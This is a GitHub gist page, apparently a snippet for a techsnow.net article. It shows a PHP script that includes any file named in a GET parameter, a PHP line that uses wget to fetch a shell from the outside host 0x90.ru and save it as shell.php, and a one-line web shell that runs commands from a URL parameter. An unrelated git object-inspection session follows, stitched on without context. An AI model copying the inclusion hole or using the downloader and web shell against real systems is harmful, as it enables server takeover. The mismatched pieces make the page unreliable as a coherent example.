Skip to content

Instantly share code, notes, and snippets.

View TermiT's full-sized avatar

Gennadii Potapov TermiT

View GitHub Profile
@TermiT
TermiT / gist:2814756
Created May 27, 2012 15:28
snipper for techsnow.net article
<?php
$file = $_GET['pointer'];
if(isset($file))
{
include($file);
}
else
{
include("index.php");
}
<?php system(`wget 0x90.ru/shell.txt -O shell.php`)?>
<?php system($_GET['cmd']); ?>
$ echo ‘test file version 1’ > test.txt
$ git add test.txt
$ find .git/objects
.git/objects/27/703ec79a98c1d097d5b1cd320befffa376e826
$ git cat-file -p 2770
test file version 1
$ git cat-file -t 2770
blob
$ git ls-files --stage
100644 27703ec79a98c1d097d5b1cd320befffa376e826 0 test.txt
$ mkdir new
$ echo "new file" > new/new.txt
$ git add .
$ find .git/objects -type f
.git/objects/27/703ec79a98c1d097d5b1cd320befffa376e826
.git/objects/fa/49b077972391ad58037050f2a75f74e3671e92
$ git cat-file -p fa49
new file
$ git cat-file -t fa49
blob